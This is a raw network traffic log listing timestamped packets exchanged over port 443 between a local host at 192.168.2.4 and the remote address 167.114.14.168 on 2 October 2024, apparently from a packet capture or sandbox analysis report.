Oct 2, 2024 06:10:21.173688889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173717976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173741102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.174134970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.174149990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.174181938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.174186945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.174196005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.174218893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.178056955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.247868061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.247889996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.247978926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248012066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248070002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248111010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248130083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248169899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248177052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248195887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248223066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248389959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248415947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248454094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248461008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248486996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248507023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248648882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248666048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248712063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248724937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.248739958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.248763084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.249280930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.249296904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.249346972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.249353886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.249422073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.249557972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.249578953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.249623060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.249628067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.249658108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.249672890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.253010035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.253024101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.253078938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.253087044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.253101110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.253128052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.253418922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.253434896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.253488064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.253494978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.253535986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.338596106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.338639975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.338717937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.338747025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.338777065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.338810921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.338874102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.338905096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.338928938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.338933945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.338963032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.338979006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339121103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339160919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339181900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339186907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339205980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339230061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339432955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339451075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339489937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339499950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339528084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339538097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339915991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339931011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.339976072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.339983940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.340023994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.340033054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.340169907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.340184927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.340224028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.340229988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.340256929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.340282917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.343635082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.343648911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.343696117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.343702078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.343745947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.344017982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.344034910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.344079018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.344088078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.344106913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.344146013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.429358959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429379940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429455996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.429482937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429531097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.429657936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429689884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429712057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.429718971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429747105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.429758072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.429923058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429938078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.429991007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430000067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430038929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430227995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430246115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430283070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430288076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430316925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430335045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430484056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430499077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430538893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430542946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430577993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430593014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430850983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430872917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430927992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.430934906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.430975914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.434330940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.434345961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.434396982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.434403896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.434437037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.434444904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.434699059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.434715033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.434776068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.434782028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.434820890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520152092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520169020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520234108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520252943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520272970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520297050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520397902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520414114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520454884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520459890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520478010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520505905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520606041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520620108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520662069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520665884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520689964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520709038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520891905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520906925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520951986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520956039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.520977974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.520992041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.521142006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.521166086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.521193981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.521204948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.521215916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.521234035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.521754026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.521770954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.521816015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.521822929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.521862030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.525021076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.525036097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.525095940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.525100946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.525141954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.525372982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.525389910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.525497913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.525504112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.525551081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611013889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611038923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611162901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611181974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611202955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611241102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611269951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611362934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611397028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611422062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611428022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611453056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611705065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611723900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611754894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.611761093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.611795902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.612059116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.612081051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.612137079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.612143993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.612261057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.612279892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.612314939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.612319946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.612335920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.615756989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.615772009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.615848064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.615854979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.616161108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.616179943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.616214037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.616219044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.616242886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.618735075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.701822042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.701843023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.701948881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.701967001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.701983929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702013016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702020884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702039957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702050924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702058077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702076912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702085018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702090025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702109098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702141047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702517033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702533007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702589035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702594995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702634096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702739954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702754974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702806950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.702812910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.702857018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.703408957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.703423023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.703479052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.703485012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.703525066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.706579924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.706595898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.706655025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.706660986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.706717968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.706854105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.706870079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.706923962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.706928968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.706973076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792218924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792238951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792390108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792401075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792443037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792557001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792572975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792613029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792617083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792642117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792665005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792799950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792814016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792856932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.792862892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.792905092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793015003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793066025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793080091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793083906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793113947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793126106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793586969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793601990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793654919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793661118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793704033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793833971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793848991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793893099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.793900013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.793937922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.797099113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.797113895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.797172070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.797175884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.797216892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.797600031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.797614098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.797673941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.797677994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.797724009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883171082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883188009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883294106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883304119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883349895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883408070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883426905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883461952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883467913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883491993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883512020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883683920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883702040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883760929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883765936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883814096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.883961916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.883980036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884017944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884022951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884052038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884067059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884385109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884413958 CEST	443	49744	167.114.14.168	192.168.2.4
